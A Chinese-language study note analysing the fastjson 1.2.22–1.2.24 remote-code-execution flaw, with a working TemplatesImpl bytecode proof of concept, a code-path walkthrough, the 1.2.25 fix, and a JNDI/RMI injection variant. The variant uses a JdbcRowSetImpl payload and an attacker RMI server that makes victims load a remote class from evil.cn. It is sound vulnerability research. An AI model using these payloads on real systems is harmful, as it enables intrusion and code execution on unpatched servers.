前言 fastjson 是阿里巴巴开源的、java 编写的 json 解析库。以速度快、性能高著称。 在 2017 年 3 月 15 日,fastjson 官方主动爆出 fastjson 在 1.2.22 到 1.2.24 版本间存在远程代码执行高危安全漏洞。下面针对该漏洞进行复现并分析。
official : https://github.com/alibaba/fastjson
vul : https://github.com/alibaba/fastjson/wiki/security_update_20170315
poc 分析 分析使用的 poc 是基于 TemplatesImpl 类进行构造的。poc 如下。
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package vulnTest;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test () throws IOException { Runtime.getRuntime().exec("curl localhost:12345" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { Test t = new Test(); } }
Poc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package vulnTest;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.codec.binary.Base64;import org.apache.commons.io.IOUtils;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class Poc { public static String readClass (String cls) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny () throws Exception { ParserConfig config = new ParserConfig(); final String evilClassPath = System.getProperty("user.dir" ) + "/target/classes/vulnTest/Test.class" ; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n" ; System.out.println(text1); Object obj = JSON.parse(text1, Feature.SupportNonPublicField); } public static void main (String[] args) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
从 poc 中可以看出,需要利用到的类为 TemplatesImpl。实际上,整个漏洞是从 TemplatesImpl 的 getOutputProperties() 开始触发。看一下 getOutputProperties() 方法。
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
跟进 newTransformer() 方法。
1 2 3 4 5 6 7 8 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); ... }
跟进 getTransletInstance() 方法。
1 2 3 4 5 6 7 8 9 10 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
其中 _name
不能为 null,_class
需要为 null,进入 defineTransletClasses() 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 private void defineTransletClasses () throws TransformerConfigurationException { TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
其中先创建了静态内部类 TransletClassLoader。
1 2 3 4 5 6 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
这里会用到 _tfactory
属性,所以该值不能为 null。 创建自定义类加载器后,调用了静态内部类(即自定义类加载器)的 defineClass() 方法。实际调用了父类 ClassLoader 的 defineClass() 方法,会将 byte[] 中的二进制字节码转换成一个 Class 对象。
1 _class[i] = loader.defineClass(_bytecodes[i]);
所以,我们需要控制 _bytecodes
属性的值为我们想要加载的恶意类的字节码。 再往下,检查加载进来的类的父类是不是 AbstractTranslet。是的话,会把恶意类在 _class
数组中的索引 i 赋值给 _transletIndex
,该属性默认值为 -1,后面会用到该属性,所以构造的恶意类必须继承自 AbstractTranslet 类。
1 2 3 4 5 final Class superClass = _class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
执行完 defineTransletClasses() 后,在 getTransletInstance() 中,会通过 _transletIndex 从 _class 数组中取出恶意类的 Class 对象,然后调用 newInstance() 方法。
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
所以,只要我们把需要执行的代码放到构造方法中,就会在调用 newInstance() 方法时执行。下面,总结下利用过程中需要注意的几个属性。
1 2 3 4 1. _bytecodes fastjson 会将其 base64 解码,TemplatesImpl 的私有属性,里面存放了恶意类的字节码 2. _name 在方法调用中,需要TemplatesImpl 的私有属性 _name 不为空 3. _tfactory 既没有 getter,也没有 setter,设置为 {},fastjson 会调用其无参数构造函数得到对应的对象,在 defineTransletClasses() 中用特权创建静态内部类 TransletClassLoader 时会用到 4. _outputProperties 调用 TemplatesImpl 的 getOutputProperties() 方法,触发利用链
poc 条件
1 2 @type 指定需要生成的目标类,指定利用类 TemplatesImpl Feature.SupportNonPublicField 让 fastjson 也会反序列化私有域
调试分析 根据该 poc 的调试分析,我简单做了一张类间的关系图,便于理清整个过程。
在 parse() 方法中,会先将我们指定的 Feature.SupportNonPublicField 选项开启,默认开启的选项如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 public static int DEFAULT_PARSER_FEATURE;static { int features = 0 ; features |= Feature.AutoCloseSource.getMask(); features |= Feature.InternFieldNames.getMask(); features |= Feature.UseBigDecimal.getMask(); features |= Feature.AllowUnQuotedFieldNames.getMask(); features |= Feature.AllowSingleQuotes.getMask(); features |= Feature.AllowArbitraryCommas.getMask(); features |= Feature.SortFeidFastMatch.getMask(); features |= Feature.IgnoreNotMatch.getMask(); DEFAULT_PARSER_FEATURE = features; }
关于 Feature 机制,是通过在枚举类中维护一个 mask 实现的。每个枚举对象对应二进制中的一位,只要通过与运算就可以判断选项的开启情况,也可以通过或运算开启指定选项。
1 2 3 4 5 6 7 8 9 Feature(){ mask = (1 << ordinal()); } public final int mask;public final int getMask () { return mask; }
跟进 DefaultJSONParser 的 parse() 方法。
跟进 parseObject() 方法。
在 parseObject() 中,会先通过 JSONLexerBase 的 scanSymbol() 方法,从输入的 json 中读出第一个双引号间的内容,即 @type,放到 key 中。然后会使用 AppClassLoader 将利用类 TemplatesImpl 加载成一个 Class 对象。
主要看 parseObject() 的下面两行代码。
先看第一行,在 ParserConfig 的 getDeserializer() 中,调用了 createJavaBeanDeserializer() 方法,其中会调用 JavaBean 的 build() 方法,在 build() 方法中,主要会根据 @type 的指定类 TemplatesImpl 的 setter 方法和 getter 方法,猜测属性名,符合要求则将信息存进 FieldInfo 的实例中,将猜测的属性收集到 ArrayList<FieldInfo>
,再封装到 JavaBeanInfo,最终,将 JavaBeanInfo 放到 JavaBeanDeserializer 的 beanInfo 属性中,并返回一个 JavaBeanDeserializer 的实例。
返回的 JavaBeanDeserializer 实例的 fieldDeserializers 和 sortedFieldDeserilaizers 两个属性是猜测的 TemplatesImpl 的属性,后一个是根据属性名进行排序的数组。接着,调用了 putDeserializer() 方法将该 JavaBeanDeserializer 实例存进 ParserConfig 的 derializers 属性中。之后会将刚生成的 JavaBeanDeserializer 返回并调用 deserialze() 方法,该方法是触发的关键。
其中先从传入的 json 字符串中,取出下一个内容,即 _bytecodes
。下面会调用前面在 JavaBeanInfo 的 build() 方法中找到的 TemplatesImpl 的无参构造方法创建一个 TemplatesImpl 实例。
后面就是根据传入的 json 中指定的属性名去给这个 TemplatesImpl 实例初始化属性。先从刚刚取到的 _bytecodes
开始。
通过 parseField() 方法,就可以把我们传入的恶意类的字节码存进 _bytecodes
属性中了。
唯一需要注意的是,在给 _tfactory
属性赋值的时候,因为没有对应的 deserializer,所以会调用前面讲过的 createJavaBeanDeserializer() 为其创建一个的 deserializer。
调用刚创建的 deserializer 的 derserialze() 方法为 _tfactory
属性赋值。
这里和前面调用无参构造方法创建 TemplatesImpl 的位置不同,但是也是调用 _tfactory
属性对应的 TransformerFactoryImpl 类的无参构造方法进行初始化。
在 setValue() 方法中会将该值存入 TemplatesImpl 实例中。
在初始化 _outputProperties
时,setValue() 方法中会先调用 TemplatesImpl 的 getOutputProperties() 方法。
根据前面的分析,TemplatesImpl 中的必要属性已经初始化好了,在调用 getOutputProperties() 方法时,则会触发漏洞。
修复 在 1.2.23 中加载 @type 指定的类是通过 TypeUtils 的 loadClass() 方法。
其中并没有对类名进行检测。后续的 ParserConfig 的 getDeserializer() 方法中,在调用 createJavaBeanDeserializer() 之前进行了一个简单的检查。
在 1.2.25 中,加载 @type 指定类的方法变为 ParserConfig 的 checkAutoType() 方法。
其中会对类名进行黑名单检查。
并且在 1.2.25 中,取消了 1.2.23 原先的检查位置。
JNDI 注入 更新于 2019.11.6。
JNDI,即 Java Naming and Directory Interface,Java 命名与目录接口。我们可以通过 JNDI 提供的统一外部接口去访问其他服务,这里可以结合 RMI 去减少 fastjson 这个漏洞利用的限制。
RMI 相关知识可以参考:http://llfam.cn/2019/08/20/java_序列化与_rmi/
当把 JNDI Reference 注册到 RMI Registry 时,客户端在通过 lookup() 方法请求 stub 时,会去加载 Reference 指定的远程类,并初始化该类的一个实例。所以,我们只要将客户端的 lookup() 方法的参数指向我们的 RMI 服务,并在该服务上注册一个指向远程恶意类的 Reference,客户端会加载 Reference 指向的类,并初始化加载的类,我们将利用代码放到该类的构造方法中即可实现利用。
1 2 3 4 Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new javax.naming.Reference("Exploit" , "Exploit" , "http://evil.cn/" ); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("llfam" , referenceWrapper);
上面的代码运行在攻击者的服务器上,在 1099 上创建了一个 RMI Registry,并将一个 Reference 对象绑定到该 RMI 服务上。
1 2 3 4 5 6 7 Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); Context ctx = new InitialContext(env); Object obj = ctx.lookup("rmi://evil.cn/llfam" );
这里是模拟客户端代码,将客户端的 lookup() 方法的参数指向攻击者的 RMI 服务。通过 llfam 找到了一个 Reference 对象,客户端会去加载 Reference 指定的文件 http://evil.cn/Exploit.class
,并初始化加载到的 Exploit 类,其构造方法会被执行。
poc
1 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/llfam","autoCommit":true}
poc 利用的是 JdbcRowSetImpl 类。dataSource 是父类 BaseRowSet 的私有属性,但是因为有对应的 setDataSourceName() 方法为该属性初始化,所以该 poc 不需要开启 fastjson 的 SupportNonPublic 选项。
1 2 3 4 5 6 7 8 9 10 public void setDataSourceName (String name) throws SQLException { if (name == null ) { dataSource = null ; } else if (name.equals("" )) { throw new SQLException("DataSource name cannot be empty string" ); } else { dataSource = name; } URL = null ; }
setAutoCommit() 方法
1 2 3 4 5 6 7 8 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
connect() 方法
1 2 3 4 5 6 7 8 protected Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); ...
可以看到在 connect() 方法中调用的 lookup() 方法的参数我们可控,即 dataSource 属性。
攻击者服务器上的 RMI 服务。
1 2 3 4 5 6 7 8 9 10 11 12 public class JNDIServer { private static void start () throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference("Exloit" , "Exploit" ,"http://audit.test/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("llfam" , referenceWrapper); } public static void main (String[] args) throws Exception { start(); } }
生成 Exploit.class,并放到攻击者在 Reference 中指定的 web 服务器上。
1 2 3 4 5 6 7 8 9 10 11 12 public class Exploit { public Exploit () { try { Runtime.getRuntime().exec("open /Applications/Calculator.app" ); }catch (Exception e){ e.printStackTrace(); } } public static void main (String[] argv) { Exploit e = new Exploit(); } }
验证 poc。
1 2 3 4 5 6 7 8 9 10 public class JdbcRowSetImplPoc { public static void main (String[] argv) { testJdbcRowSetImpl(); } public static void testJdbcRowSetImpl () { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/llfam\"," + " \"autoCommit\":true}" ; JSON.parse(payload); } }
初始化加载到的 Exploit 类,执行构造方法中的代码。
总结 这里只是简单地写了一点调试的分析,当作一个学习笔记。但是,实际上有很多东西可能我没有细讲。因为,我觉得审计不能光看,一定要自己去看代码,调试学习。对于同一个洞,每个人审计调试学到的东西可能是不一样的 : )
ref :
https://www.freebuf.com/vuls/178012.html
https://mp.weixin.qq.com/s/0a5krhX-V_yCkz-zDN5kGg
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/